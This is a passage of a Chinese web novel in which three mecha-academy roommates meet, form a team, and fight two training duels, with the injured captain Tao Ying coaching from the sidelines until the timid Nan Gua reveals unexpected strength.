“学生窒息着，只能活生生看着那双手，透过镜子越收越紧。” “——越收越紧。” 林别歌的身体逐渐僵硬。 一开始听着陶影的鬼故事，林别歌还能应和两句，但眼见故事越说越吓人，林别歌就不张嘴了，脚跟套了外骨骼似的，越走越快。 到最后一层的楼梯拐弯处，林别歌松了一口气——鬼故事结束了！没有永无止境的四楼！也没有女鬼！ 林别歌瘪嘴道：“下次有事别来帮我了，得还人情不说，一路上还得被你的鬼故事吓。” “那我下次当然还是会帮你的。” 陶影扑哧笑出声。 “至于鬼故事，没什么好怕的，活人比死人可怕多了。” 陶影凑到林别歌耳边。 “不过确实，虽然现在你背着的是我，但走着走着，说不定背上就是别人了，放在你脖子前的那双手其实是——” “喂！” “小林同学胆子这么小？”“那又怎样！” 陶影摸摸下巴：“没什么，把你怕鬼这件事纳入战术考量。” 林别歌匪夷所思。 这也能扯上战术？ “战场上还能有幽灵啊？” “谁知道呢，说不定放只女鬼在你背后，能激发你的战斗潜力。” 两人从楼梯到走廊，这个点大家都已经睡了，走廊一片昏暗，非常安静，但有一间宿舍还亮着。 宿舍门虚掩，里面透着点冷光。门上还有一堆粉色动漫美少女的水钻贴纸，林别歌贴的。 没错啊，1404，她们的宿舍。 但是门怎么开着？ “你没关门？”林别歌一脸疑惑，把陶影往背上提了两下。 “关了啊。”陶影面色也有些奇怪。 林别歌：“你少来，又吓我，这次不会上当了。” “这次真没吓你。” 陶影两脚刚落地，话还没来得及说完，小林腿往门缝一插，老旧失修的宿舍门吱呀一声打开。 凉风吹来。 陶影的视线自然而然落在窗台边。 一名女孩双腿悬空，就那样坐在窗台边缘，腿轻轻晃着，细弱的身体，一阵风仿佛就能把她吹下去。 纸一样苍白的皮肤，被清透的发丝遮住半张脸。 听见声音，女孩回过头来，猫一样的浅金色瞳孔看向这边，她眼睛睁得大大的，眼角还有残余的泪痕。 哦，有点像童话故事里的精灵。 陶影摸摸下巴。 林别歌颤抖着双手：“鬼鬼鬼，鬼啊！” “女鬼”坐在那里，似乎是被林别歌吓到了，往后退了一下，身体更是摇摇欲坠。 就要失去平衡时，陶影上前一把将“女鬼”拉住。 女孩紧紧抓住陶影的手臂，往屋内一倒，抱住了她。随后看了一眼窗外，似乎心有余悸。 看来不是想跳下去。 那还算好办。 陶影冷静地牵着女孩的手，看着她的眼睛，缓缓安抚道：“别怕，慢慢下来。” 女孩急促的呼吸逐渐冷静。 她点点头，就着陶影的手爬下来，然后蹲在地上，双手抱膝，浑身发抖。 陶影捏捏自己酸痛的手臂。 这女孩看上去轻飘飘的，手劲还怪大的。 林别歌这才反应过来，凶了两句：“怎么坐在这么危险的地方！你是谁，为什么在我们寝室？” 林别歌还想再说什么，但女孩应该是被她吓住了，张着嘴，一时说不出话来。 陶影摇头。 “你先让她缓缓。” 门是用钥匙打开的，床边还堆着没完全打开的行李，上面放着新生入学资料和ID卡。 这人不是什么女鬼，应该是她们宿舍那位一直没有出现的“神秘舍友三号”。 陶影戳了戳林别歌，眼神示意。 林别歌本来还懵懵懂懂的，经陶影这一提醒，突然就想起来了，没错，她们宿舍那个一直没有来报道的舍友，是叫什么……南瓜来着？ “南卦。” 对对对就是这个名。 行，她为什么出现在这里的问题解决了。 但是现在更重要的是，她没事大晚上坐窗台上干什么。 总不可能是想吹风吧。 陶影盯着空荡荡的窗台，思绪突然有些飘忽，好半天没说话，林别歌朝她投来莫 名其妙的眼神。 “你突然神游天外干嘛？” 陶影眨眨眼，回神。 “没什么，想起我初恋了。” “你？初恋？你这么会算的人还能有这种纯情的时候？”林别歌一脸不可置信。 陶影一脸正经：“当然，我是个浪漫主义者。” “行吧，你说是就是。但是南卦同学的哪个点让你想起初恋了请问？” “嗯……”陶影仔细思索，认真分析，得出结论，“都很漂亮？” 身上还有种天真的破碎感。 “好了知道你初恋很漂亮了，”林别歌磨牙，“你倒是想想办法，她还在哭呢喂，眼泪珠子跟烧烤串似的。” 也是，小林同学一看就只擅长吃烧烤，不擅长哄人。 陶影心领神会，往前走了两步，但并没有太近，等南卦的情绪冷静下来，陶影才拿起她桌上被揉成一团的专业说明。 “你喜欢机甲文学？” 开了话头就好进入正题了，在陶影的引导下，新舍友慢慢说明了她的情况。 南卦来自第三星系的一个小星球，一直以来的梦想是莱大的机甲文学专业。 南卦成绩还不错，所以虽然家里贫穷，也靠着奖学金，读到了高中。 她高兴地填好志愿，就等着来莱门上学，但在看到录取通知书的瞬间，她像被雷劈了一样。 志愿被她的监护人偷偷改了。 “莱门大学机甲特别学院”？ 南卦哪里会开机甲？ 监护人理直气壮，说开机甲以后好回去就业，这是为了她好。 “你走了你弟弟谁来照顾？要是不想读，正好留下来照顾家里。或者找个人嫁了，我们可没钱给你出学费。”监护人一边哄着弟弟一边说。 完全没把改掉志愿当一回事。 南卦因为这个和监护人大吵一架，但既成事实更改不了。伤心难过几天后，她用攒了多年的存款买好船票，没有告诉任何人，拖着行李箱就来了莱门。 同时决绝地删掉了监护人所有的联系方式。 这算是她小小人生中做得最出格的一件事了。 那时候她还觉得，只要能离开第三星系，就算是自己不擅长的专业，也可以改变人生。 但来到莱门她才发现，莱大的机特学院就是一个三流学院。 所以就有了刚才的情况，她坐在窗台上，想吹点风冷静一下。 “不好意思，刚刚有点想死。”南卦叹了口气。 “可以理解。”“人之常情。”“俺也一样。” “不过机甲文学是什么专业，汉字是可以这样排列组合的吗？” “是一门涉及机甲哲学、历史、未来探索的综合专业……听说毕业设计是构建自己的机甲世界。” ……听上去确实不太赚钱。 见对方眼神中少了点难过，陶影往前迈了一步，拉近距离，顺势给她递去纸巾。 南卦吸吸鼻子，往椅子前挪了挪。 “你们也是被莱大的头衔坑来的？” 陶影简单解释，她原本想读的是机甲系统专业，因为各种理由现在被迫在这里开机甲。 “同病相怜，”南卦连连叹气，又问林别歌，“你呢？” “我……不算吧，我分数可上不了莱大，”林别歌挠头，“我是因为食堂的饭菜来的——虽然也被骗了。” 三个人因为类似的经历一下子就熟了起来，正好老师发了个消息说临时有事，课程推迟。 她们缩在寝室里，大聊特聊几个小时。 过了饭点，林别歌在吃吃吃打游戏。 南卦接受了现实，拿着光脑，借了陶影的笔记，开始恶补这段时间落下的课程。 陶影累得好像被车来回碾压几十次，足足睡了五个小时午觉，才昏昏沉沉起床。 今天是机甲课程组队的最后一天，陶影打开光脑，开始填表。 林别歌加入队伍，组队要三个人，剩下的一个…… 陶影侧过身。 “课程组队明天就要截止了，南瓜你找到队友了吗？” 南卦正在啃食肉干，听到陶影的话，猛地抬起头，险些被噎住。 南卦小心翼翼道：“什么组队呀？” “机甲课程，强制三到四人组队。” 很显然，南卦刚来学校，办完入学手续就不错了，根本没机会知道这件事。 “明天就截止了吗？但，但是我不会开机甲，在学校里谁也不认识，”南卦紧张得开始冒汗，“要是没有人愿意和我组队怎么办？要是我挂科怎么办，要是补考也过不了，我留级，最后连毕业都不行怎么办？” 南卦肉眼可见开始焦虑。 她走来走去，像动物园里刻板的动物，最后打开窗户，试图吹风冷静一下。 片刻后，南卦转过头，凄惨一笑：“我果然还是想死。” 陶影严肃道：“如果担心找不到队友的话，可以跟我们一队，正好缺人。” 南卦泪眼婆娑：“可以吗？但我能力不太行，会拖累你们的。” “你挺优秀的，不存在拖累。” 南卦想了想，点点头，从窗台上爬了下来。 “那，那先不死了，组队加我一个吧，谢谢你，小影。” “不客气，恭喜你又多活了一天。” 陶影转过头。 “小林同学，你的意见是？” 林别歌：“……我没意见。” 现在轮到她有点想死了—— 作者有话说：小林同学：整个宿舍挑不出一个正常人。 队友初步集齐——[撒花] 第26章 很快就到了第一次上机课的日子。学生们来到场地,按照组队顺序排好队。 场地内的气氛有点紧张，又有点兴奋，毕竟对大多数学生来说,这是他们第一次接触机甲设备，不是全息游戏,也不是隔着屏幕的影像。 而是真正的机甲。 老旧的仓库门缓缓打开，尘光飘散,推出仓库内的数台机甲。 人形机甲,都是同一个型号。 机体全身赤红,头部一点白色，因为使用过度,涂装有些斑驳。 型号是…… 陶影回想了一下。 GarciaValentineX。 编号G-VX-89,加西亚电子出品,全能标准型机甲，高五米,重量六吨左右，是通过电力运作的小型机甲。 代号来源是设计者的名字。因为Valentine有情人节的意思,所以也有人管这个型号叫“情人节号”。 不过陶影一般叫它VX-89。 型号老了点，但稳定性还不错。用作练习机是合理的。就是原装电池质量不太行，经常出问题。 有同学因为仓库的灰尘开始捂着嘴咳嗽。 “这机甲都多久没用了？真的能启动吗？” “才六台机甲？那不是一次只能有两个队伍用？” “一个班五十几个人,按课程3v3对战来算，也得分成八组了，一对对练习，这得排队到什么时候？莱门大学就不能多拨一点经费？” “有什么办法，我们学院又不是亲生的。” 姬亦绕机甲检查了一圈，在大家期待的眼神中，毫无意外地给出一个不好的消息。 “大家先跑五圈吧。机甲掉电了,得先加压充下电。” “啊——”大家发出失望的声音。 “再说话就加三圈。” 姬老师说话就像鞭子抽在身上一样，非常有力。 学生们默契地闭上嘴，迅速排成一队，开始跑步。 林别歌体质优越，飞一样地冲了出去，在前几个领跑。南卦虽然看上去弱弱的，但一直很平稳地跑着。 陶影一开始还能勉强跟上队伍，在跑到半圈的时候，呼吸就开始不畅了。 南卦这时候正好跑到第二圈，她慢下速度来，和陶影并排。 “小影，你没事吧，脸色好差。” 陶影说不出话来，只能手势示意南卦不用管她，先跑。 南卦犹豫了一下，小声说：“那你要是坚持不住了，一定别硬撑啊，身体重要。” 说着她加速往前。 姬老师懒洋洋地打开仓库，插好变压器电源，不知道从哪里拖来一条躺椅，悠闲地躺在操场上晒太阳。 很快，操场上只剩下陶影一个。 大家跑完了，都在路边躺着大喘气。 “这人谁啊？是我们班的吗？她怎么还没跑完？” 有人来到跑道边仔细观察了一下，恍然大悟：“哦——我想起来了，她是体质F的那个学生。” “就她呀。前几天没看见她，我还以为她退学了呢。” “身体那么差开什么机甲，”旁边有人冷哼一声，“就该退学，免得拖人后腿。” “她是谁啊，感觉对小影敌意很重的样子。”南卦小声道。 林别歌不好意思地挠挠头。 “她之前邀请我组队来着，我不是跟你们组了吗，就拒绝她了，然后她知道影子体质F级之后，就有点不服气。” 南卦小声道：“体质F？你是说小影吗？” “是哦，好像还没告诉过你。她体质F。” 林别歌本来以为南卦会有种“队友竟然如此不靠谱！”的失落感，没想到南卦“哇”了一声。 “她好厉害。” 林别歌：“？” 她刚刚是耳朵出问题了吧？ “体质F厉害的点在……？” “独特啊！” 说着南卦从兜里掏出速写本，开始对着陶影跑步的样子哐哐画。画了一会儿，突然开始45度角仰望天空，俨然已经沉浸在了自己的艺术里。 林别歌：“……” 你也挺独特的。 林别歌叹了口气。 很好。一个脑子有问题，一个身体有问题。 她们队现在问题大了。 而另一边，陶影在操场上跑跑停停十分钟后，实在跑不动了——准确地说，走不动了。 一口气一口气地喘，感觉肺泡都要拉丝了。 陶影咳嗽两下，决定停下来休息。这时，右脚的鞋底突然传来咯吱一声，一阵刺痛后，陶影重心一歪，身体猛地向前扑去。 一声闷响，陶影摔倒在地。 …… 谁家好人踩个石子都能平地摔啊！ 旁边同学一愣，赶忙伸手去扶，但看陶影的脸色，又觉得不能随便动她。 只能大喊：“老师，这里有同学体力不支倒下了！” 白助教飞快地跑了过来，问陶影有没有事。陶影缓了一下，扶着膝盖站了起来。 “没事，只是摔了一下，起来就好。” “同学，你的膝盖擦伤了，我帮你包一下，你先坐在椅子上——啊啊同学你怎么晕倒了！！！” 白助教发出尖锐爆鸣声。 星历1225年，莱门大学，某脆皮大学生因为跑步摔倒，住进医疗舱。 班级的第一次上机课，因为机甲直到下课时间都没补充好能源，以及这名大学生的晕倒，宣布告吹。 此事因为过于离奇，在校报上亦有记载。 自此一晕，陶影在学校彻底出名。 “听说你们班那个体质F的学生，哪怕晕倒了都还坚持训练？” “她跑三圈之后被担架抬走了。” “没跑三圈，我看得很清楚，她是走十步，停一分钟，走十步，再停一分钟的频率。算是走了三圈。” “听说她还晕血！” “虽然我们学院本来就没什么脸，但这也太丢我们学院的脸了。” “但她精神力S。” “你还真信她精神力S啊。肯定是仪器出错了。星历元年到现在，你见过一个体质和精神力等级相差这么大的人吗？” “何况就算精神力很厉害，知觉机甲的机师要求也很高的，就连我们都会被筛掉。她？体质F？连排队竞争的资格都进没有。” 而此刻的陶影，正躺在病床上。 安详躺尸.jpg 本来以为只是小伤，第二天就打算回宿舍。谁知道出院前又扫描了一次身体情况，发现她膝盖骨折了。 要养半个月左右，上机课根本去不了。 谁家好人平地摔能摔到骨折啊。 事已至此，陶影决定先把其它机甲理论课程的作业提前做完。 上机课等恢复之后再恶补好了。 她点开“综合机甲开发课程”课程的课件。 这门课程，看名字就知道，和设计机甲有关，是门综合性很强的科目。 学生统一评价都是挺难的。 哪怕在莱门大学，学霸云集的地方，也不是每个人都敢选这门课。 但陶影毫不犹豫地选了，且拉着两位队友也选了。 授课教授安童，陶影认识，以前跟着她做过项目。 安童她非常看重学生的能力，给分也很实事求是。 指望她期末师生情捞你一把，不存在的。全靠成绩说话。 但与之相对的，只要能拿出让安童满意的设计，她会直接给满分。 “小影，课程笔记帮你抄了一份。” 南卦的字迹很娟秀，工整，笔记内容非常完备，帮陶影省了不少事。 陶影接过笔记：“谢谢。” “不过小影，你真的确定只花三个月能设计出来老师满意的机甲吗？” “当然可以。只有这个你不用怀疑。南瓜……你在画什么？” “画你。” “画我？” 画她躺在床上绑着石膏的样子吗？ 陶影好奇地接过速写本，只见上面是一只绑着石膏的仿生人。 “嗯？这是什么意思？” “哦，哦——我就是看见什么画什么，”南卦挠挠脸颊，有些不好意思，“就是，不知道为什么，你给我的感觉有点像仿生人。” 陶影眉毛一挑。 好敏锐的观察力。 “你不喜欢，那我下次不画了。” “没有，画得挺好的。”陶影又把速写本往前翻了几页。里面大多都是她跟林别歌。 她的形象是仿生人，而林别歌的形象不知道为什么，是一条比格犬。 林比格同学吗。 陶影扑哧笑出声，把本子递了回去。 “挺贴的。” 南卦见陶影认同了自己的艺术，非常高兴地捧着本子。 “我还以为你不喜欢这些东西。” 陶影摇头，义正词严：“怎么会，我是个浪漫主义者。” 聊了一会儿，她们开始分工，陶影负责画机甲设计图，南卦提供一点外观美化的意见。 林别歌负责给她们带饭。 三人分工，设计图很快就完成了。 很快就到了第二次上机课。虽然陶影还在医疗舱躺着，但她的两位队友要开始训练了。 今日风和日丽。 队友早早去上课，陶影按了铃，想请护士帮忙把床推到窗户旁边。 机甲课的场地就在楼下，窗户那里正好可以看见。 护士不太赞成地拒绝了：“你需要休息。” 陶影：“那我只能自己过去了。” 说着陶影就瘸着腿一跳一跳，往窗户旁边去。 护士只能无奈地搬来轮椅，把陶影推到窗户边，还贴心地给她拿来一条小毯子，披在腿上。 医生特地叮嘱的，要多让这名学生休息。 再继续下去，真怕她嘎学校里了啊。 护士一脸痛苦。 据她观察，这名学生每天只睡四个小时，但第二天早上起来依旧非常精神。而且起床就开始看课程内容，看机甲对战视频，写报告，写分析。 护士不懂这位学生哪来这么多东西要分析。 好像是什么机甲联赛的录像。 但她这个情况难道还能参加联赛吗？ 这个都不提了，听那位活泼的林同学说，这位学生已经做完两门课的期末作业了。 但现在开学才一个月啊！ 这名学生只要醒着，就没休息过。一天全在提升自己，毫无娱乐时间。 自律得令人感到可怕。 “你昨晚好像就没怎么睡，再休息一下吧。实践课也要记笔记？” 护士轻声劝着，语气十分担忧。 陶影转着手里的笔，轻敲一下窗台。 她的语气轻快而不失力度，带着一种多年调度团队的从容。 “我是队长。” 陶影微微一笑。 “掌握队员和敌方动态是队长的基本职责。”—— 作者有话说：成熟可靠大姐姐。[让我康康] 第27章 “这种时候都还想着自己是队长,哎现在的学生，太努力了。” 虽然很不赞成，但敬佩。 护士摇头走出病房。 陶影提前在战术模拟区架设好了录像设备,她接通两位队友身上的通讯装置。 既然不能自己下场，就发挥场外优势——纵览全局吧。 陶影握着笔,左手按住耳麦。 “南瓜。” 那头传来回答：“收到！” “上场了，你第一次上机,注意安全。” “好。” 林别歌不太满意：“怎么就提醒她注意？我呢？友情呢？” 陶影：“相信以你的能力随时都能做到最好。” 林别歌仰着脖子非常自豪：“那是。” 真好哄啊。 陶影摇摇头。 一个队伍,需要了解每个人的战斗风格,才能分配好作战方案。 就目前陶影对两人的性格了解，林别歌应该是指哪儿打哪儿的类型,南卦……还不太清楚。 先看看她们这场对战会打得怎样。 陶影拉近了镜头。 她们队伍只有两个人上场,所以对方也只上两个人。 二对二。 赛前打招呼的环节,南卦弱弱地上去，礼貌地说“请多指教”,对面的黄毛男上下打量了一下她，嗤笑一声,爱理不理地转过头。 南卦对人的恶意非常敏感，显然不擅长处理这种场合。 她手抓着衣摆，眼睛直接红了,说不出话来。 欺负弱小啊？ 林别歌看队友被欺负，气一下子上来，转头大声道：“喂，你们有点礼貌行不行？” 三名男生中有一个似乎想过来道歉，但被那黄毛拉住了。 黄毛一脸不耐烦。 “跟她们打招呼，她们配吗？有什么打的必要，浪费时间。” “就是,赢了都胜之不武。” “你们别这么说，很伤人的。” “怎么，我还说错了不成，看她那个柔弱的样子。” 黄毛轻视地朝这边瞄了一眼。 别人小声蛐蛐，他大声蝈蝈。 南卦听着他们的话，突然呼吸急促，浑身颤抖起来。她抓住林别歌的手，腿软有些站不住。 以陶影的经验来看，是惊恐发作。 陶影紧皱眉头，按住耳机，迅速给出指令。 “林别歌，捂住南瓜的嘴。” “南瓜，鼻子吸气，深呼吸。吸4秒，屏息2秒，吐气6秒——对，就是这样。” “别紧张，我们在这里，你很安全。” 在陶影的安抚下，南卦慢慢呼吸缓了过来。 她小巧的鼻头红红的，看上去可怜兮兮。 南卦侧过身擦了一把眼泪。 “谢，谢谢，给你们添麻烦了。我不是故意的，就是有时候控制不了眼泪。” 林别歌啧了一声，从兜里掏出包皱巴巴的纸巾递了过去。 “别怕，他这种人我打工的时候见多了，就是欺软怕硬。说这么大声，故意让你听见，什么东西真是。” “我没事了，继续上课吧。” 陶影关心道：“真的没事？如果不舒服，可以休息。” “我可以，”南卦说话声小小的，但语气坚定，“不想真的被当成软弱的人。就算输，我也，我也不能逃避。逃避的话，一切就结束了。” 嗯？她这个性格……陶影有些惊讶，但转瞬又觉得挺合理的。 天天爬窗台想死，但到现在还活着。 某种意义上来说，非常坚强。 陶影想了想，在南卦的性格分析栏写下一行【情绪不太稳定，但意志力强】，然后抬头道。 “那就继续吧。” 姬亦老师姗姗来迟，开始主持局面。在听白助教说完刚刚发生的事后，她面目慈善。 然后出手拍了黄毛后脑勺一巴掌。 她严肃道：“对比赛的对手要有最基本的尊重，如果连这种基本礼仪都不遵守，那不用上我的课了。” “不上就不上，”那黄毛小声道，“能来这种破学院上课，你的水平也不见得有多好。” “孙荡。”他的队友赶忙拍了他一下，“你不要学分啦。” 孙荡这才哼了声，慢吞吞的过来打招呼。 他草草地朝南卦伸手：“孙荡。” 另一位友好点的男生握住林别歌的手：“周真，请多指教。” 分别鞠躬之后。四个人爬上了机甲。 姬亦老师敲敲手中的记分板，开始解释对战的基本规则。 “3v3的训练对战……哦，你们是二对二，总之，任意一方全员认输，或者机甲失去行动能力，则比赛结束。记住吧。各就各位。” “——对战开始。” 哨声响起的瞬间，四台机甲瞬间陷入了混战。 说实话，大家都是在乱打，没有什么战术可以分析。 南卦精神紧张，手又开始打抖。 明明之前都恶补过机甲知识，但真正上机是另外一回事。 “小影，我按了开机键，一直没反应！” 林别歌抢答：“你提啊！提把手！” “可是引擎它不启动！” 陶影扶额：“南卦，别听比格的，按左四下三。可能是系统卡了，你重启一下。” “至于林比格，你！那个把手是用来调整方向的，别告诉我你拉到底了。” 林别歌惊恐：“完了，手习惯地就上去了，我以前打工的机子上，这个是加速键！” “你打的什么工？” “开挖掘机！” “……”究竟打了些什么奇怪的工啊！ 林别歌错拉把手，摔倒在地，调整了一会儿，刚要站起来，对面机甲一个扫腿，插到她的VX-89腿部。 在陶影的提醒下，林别歌迅速避开了攻击。 她高兴地从驾驶位置跳起来。 “嘿，看我，厉害吧，多会举一反三！” 说完，林别歌乘胜追击，冲上去就一个穿刺，把孙荡的机体推倒在地。 “叫你欺负我队友！” 两个人滚在地上，打成一团，谁也没占上风。 陶影观测了一会儿，面无表情地在战斗记录一栏，写下一行字。 【像小学生打架，战斗形式非常之幼稚。】 而另一边，南卦的情况不太乐观。因为机甲启动迟缓，她失去了先机。 越是慌，节奏就越乱。 而周真则非常游刃有余。甚至让了南卦几分钟。 据林别歌说，周真开过机甲，原本是想去读军校的，但理论课分数太低，才来了这里。 体质中上，是个强劲的对手。 他要攻击了。 陶影看得仔细。 液压驱动器喀哒作响，机甲后背喷出一道白雾。 周真猛地往前一踏。 战术模拟区的地面震动。 而下一刻—— 笨重的金属机甲，弓身积蓄能量，如同离弦之箭，瞬间冲到南卦面前。 攻击来得太急，南卦没有准备，手忙脚乱，一通乱按。 她操作的机甲，随着她的节奏，开始混乱地挥舞手脚。 毫无章法可言。 “切，我就说她弱吧。”孙荡被按在地上，不忘转头嘲讽一句。 林别歌一手掐住孙荡的脖子，啪一下，她的巴掌就扇在了孙荡机甲头上。 “还有心思分心？我抽死你。” 这边，周真的机甲跳起，利用重力，一掌劈向南卦。 他打算用这一招结束对战。 但下一刻，周真 的预想并没有发生，他奇怪地“咦”了一声。 南卦的机甲动得乱七八糟，但竟然精准地挡住了她的攻击？ 他队频问：“孙荡，你看清刚刚是怎么回事了吗。” “看见了，没什么特别的，不就碰巧挡住了一次攻击吗，”孙荡躺在地上，挡住林别歌扇来的手，随口道，“你就这毛病，老把对手想得太厉害。” 陶影站起身，靠在窗台上，慢慢地，她脸色认真起来。 南卦连续三次挡住了周真的攻击。 不像巧合。 但也不像是有意识地阻挡。 南卦下意识防御住了这三次强烈的攻击。 很有天赋。但还是差了一点。 光靠天赋是不能赢的。 果然，因为经验的差距，在周真第四次攻击的时候，南卦被按在地上，直接拔掉了电源线。 姬亦懒洋洋宣布：“南卦倒地，2：1。” 2v1，战况瞬间就发生了转变。 陶影提醒：“林，小心，周真朝你过去了。” 林别歌还在和孙荡互掐，没人提醒，她都没精力注意另外一边。 她气喘吁吁地操纵机甲转身，背对地面，机甲重重落下，压住孙荡。 而周真在她上方，伸出手掌，打算跳劈。 林别歌痛苦地：“不是，大哥你是只会这一招吗。” 林别歌大喊一声“兔子蹬腿”，正要一腿踢到周真身上，突然HUD面板一片漆黑。 周真没有攻击，而是直接遮住了她VX-89的眼睛。 下一个瞬间，林别歌被按倒在地。 输了。 陶影看了一眼光脑，比赛时长仅仅十五分钟。 坚持时间比她预想的长一点。 林别歌摔得腰酸腿疼，周真拉起她的机甲。 “承让。” “不会，你挺强的。” 孙荡爬下机甲，朝她们做了个大拇指向下的手势。 “你看，我就说赢不了吧。何必自取其辱。” 林别歌冷笑一声：“刚刚被我按在地上狂扇巴掌的人是谁啊？” 孙荡无法反驳，但他会恼羞成怒。 “你们队伍可真有意思，一个躺医疗舱，一个哭唧唧搞艺术，剩下一个脑子也不好使。我没有恶意，但建议你们换个专业吧。” “说谁呢！” 林别歌大骂一通，直到晚上带着饭回医疗舱，还没消气。 吃完饭，陶影拉着两位室友，开始复盘今天的对战。 她翻了下记录密密麻麻的册子，若有所思。 复盘角度很多，先从最重要的东西开始吧。 陶影清清嗓子。 “首先，你们两个人的配合——堪称是烂。”—— 作者有话说：陶影：有很大的进步空间（ 第28章 “首先,你们两个人的配合——堪称是烂。” 南卦、林别歌：“……” 陶影叹气。 她，已经尽力搜寻出生以来积累的星际语词库了，但找不到更委婉的形容词。 陶影从轮椅上站起来,拉出透明信息板，上面显示出战术模拟区的俯视图。 然后在俯视图上圈出两个点位。 点位旁边,是她截取的战斗画面，陶影逐帧分析。 “这是你们俩开始站的位置。林别歌一开始就冲得太猛,完全没有分析对手的意识。” “南卦——挡住周真的攻击三次,作为第一次上机的人来说,非常厉害。但你的战斗模式很被动，从头到尾,你没有一次主动攻击。” “你们俩各干各的,完全没有配合可言。” 林别歌弱弱地举手：“配合是差了点,但我好歹也和那个黄毛打得有来有回，你都不夸我两句。而且我差点干掉周真了。” 是说她那招“兔子蹬腿”吧。 陶影微笑：“周真其实可以直接拔你电线的,但他让了你十秒，特地等你转身了才下手。” “怎么可能！” 林别歌本想反驳来的,但信息板一闪，上面开始播放当时的录像。 怎么还有三个机位啊！全方位无死角录下了她被拔电线的过程！ 简直公开处刑！ ……但确实是对方让了她。 林别歌窝窝囊囊地坐下：“那你说怎么才能赢？” 陶影：“不好说，获取的数据还不够。需要你们再多对战几场才能有结论。” “不过我有一个办法,可以增大赢的机率。” 林别歌眼睛一亮：“什么办法！” “你开局跟在南卦身边，负责帮她挡住所有的伤害——南卦负责攻击。” 两位队友认真地点头。 “嗯，然后呢？下一步作战是什么？” 陶影摊手：“没有了，就这样。” “就这样？”林别歌一个后仰，“不是，靠不靠谱啊你这人，在旁边观察分析了那么久,最后只有这么一个建议？” “我要是写个长篇大论的《林比格&南瓜性格及战斗风格分析》，你有耐心看吗。” “没有。”林别歌斩钉截铁。 “那不得了。”陶影摊手。 …… 很快，第二次上机课到了。陶影骨折还没养好，不过医生建议她可以适当活动活动，她干脆也一起下楼，在观战区域坐着见习。 还是上次的配置，还是上次的对手，周真&孙荡。 两位队友想起陶影的嘱咐。 “林别歌负责保护南卦，南卦负责攻击。”就这么一句简单的指令。 林别歌还是觉得哪里不太对，她这么勇猛的一个人，肯定是擅长攻击的啊！为什么要让她负责保护。 南卦，看上去那么柔弱，很明显应该是被保护的一方啊！ 林别歌的表情看上去不像太相信，但她也没有其它办法，只能试试。 两位队友爬上机甲，系好安全带，朝陶影挥挥手。 “对战开始！” 按照计划，林别歌在口哨声后并没有猛冲，而是后退了一步，和南卦背靠背。 机甲发出令人安心的撞击声。 “我上了！”南卦声音中带着一丝不安。 她不知道能不能赢，但还是果断地朝周真攻击去。 “磅——”林别歌从背后帮她挡住一击，侧身正好看到，南卦操纵着笨重的机甲，找准死角，手飞快地伸到孙荡的后背——那里是两根电源线。 ——但可惜挥空了。 孙荡虽然避开了攻击，但非常勉强，他后背发凉，迅速后跳几步。 南卦的动作，和上次比起来，似乎熟练了很多。 林别歌吃惊道：“南瓜你什么情况，偷偷练了？” 确实偷偷练了。 陶影帮忙解释：“南卦自从上次输了，天天都在校园通APP蹲点，就为了抢机甲模拟舱练习名额。” 林别歌咧嘴：“看来你也很想赢嘛。” “至少不想输。” “厉害嘛我们小南瓜——哎唷——” 说着，林别歌挡在南卦身前，同时挨了周真和孙荡两记拳头。 一开始，两边勉强维持着势均力敌的状态，但随着时间的变化，周真逐渐掌控了节奏。 南卦的攻击开始被带着走，随着战斗越来越混乱，她心态稳不住，崩了。 开局的平衡，很快就被打破。 而林别歌就在保护她的过程中疯狂挨打。 再一次往后退开，林别歌满头大汗。 “不是，影子，你确定这个战术没有问题吗？我们被压着打啊！” 还没等到回答，林别歌突然被一脚踹飞。机甲在地上弹飞好几次，最后砰砰地撞到墙上。 墙裂开了，林别歌也有点裂开。 这要怎么赢！ 南卦担心地侧头看了她一眼。 “林别歌，你没事吧！” “没——嘶。我撞掉牙了。” 林别歌疼得要死，还没来得及起身，就被孙荡抓住头，按在地上。 孙荡操纵着机甲，先是用膝盖顶住林别歌胸口，扇了她两巴掌，随后又觉得不太尽兴，站起身，高抬起脚，对着林别歌胸口重重踩下—— 场内一时充满了钢铁碰撞的声音，震得观战区同学们的胸腔都在抖。 “怎么了？上次揍我不是揍得挺得意的吗？怎么，现在笑不出来了？” “来啊，起来啊？继续扇我啊？” 孙荡语气嘲弄，洋洋得意：“我就说吧，劝你们早点换专业，你们根本就不适合——” 孙荡话还没说完，突然噎住了。 因为南卦的VX-89突然飞奔过来，以极其猛的攻势，直接将孙荡连人带机甲撞飞出去。 要不是周真在后面缓冲了一下，差点飞出战斗区域。 林别歌：“嚯，这一脚真是有力，南瓜，这是你今天最漂亮的一击，解气！……嗯？南卦？你怎么不回我？信号断了？” 陶影贴心解答：“没断。” 南卦把林别歌扶起来之后，就没有再说话。 林别歌傻楞楞的：“南瓜，你吓傻了啊？我没事，牙齿可以去医院种一颗的嘛，反正又不是我出钱，学校有保险的——南瓜？” 南卦没有回她，林别歌还想再说什么，就听见陶影私敲了她一下。 “林别歌，你先别动，也别跟南瓜说话。从现在开始，你就装自己牙掉了痛得不行。我有件事情想要确认。” “啥啊？” 确认啥啊？ 有什么事情是她不知道的吗？ 林别歌一脸懵逼。 而当她转过头的时候，大吃一惊。 南卦的机甲和刚才的动作形态完全不一样了。 不知道为什么，明明大家开的都是同一个型号的机甲，但南卦的VX-89……莫名有种，在生气的感觉。 南卦慢慢地走到操场旁边，侧身，弯腰，随后—— 倒着抱住了一边的公告牌。 摇晃两下。 白助教的眼皮开始狂跳。 他，作为姬亦的副官。在战场上，算是对危险非常有“直觉”的一个人了。 他直觉，现在有什么对他非常不利的事情，要发生了。 公告牌的柱子有一人腰粗，深深地插进地里，这样的柱子，一共四根。 如果没有极大的力量去摇，根本纹丝不动。 而南卦一直不停摇动。 同学一脸懵逼：“她这是在干嘛？” 林别歌一脸着急地转向观众席，向陶影求助。 “南卦不会精神又崩溃了吧，我看她都要吃柱子了，影子，救救，救救队友！” 观战区的陶影靠在栏杆上，两手捧着咖啡，一副看热闹的表情。 她眯起眼：“放心，南瓜没崩溃。不过情况可能比崩溃了后果更严重吧——我猜？” “咔啦——砰砰砰”，一阵电线断裂的声音。 VX-89的液压系统高速工作，到达了关节力量的极限，不停喷出白雾。但哪怕有大量的冷却液，依旧炸出火花。 “你，不准，欺负，我，队友。” 南卦的机甲内传来一声压低的低语声。 随后公告牌的四根柱子齐齐断裂，哗啦啦落下一地的石块。 南卦将公告牌连根拔起。 孙荡：“？” 林别歌：“？？” 所有同学：“？？？？？”—— 作者有话说：小南瓜倒拔垂杨柳（？ 陶影：逼出队友的实力也是队长的职责（点头 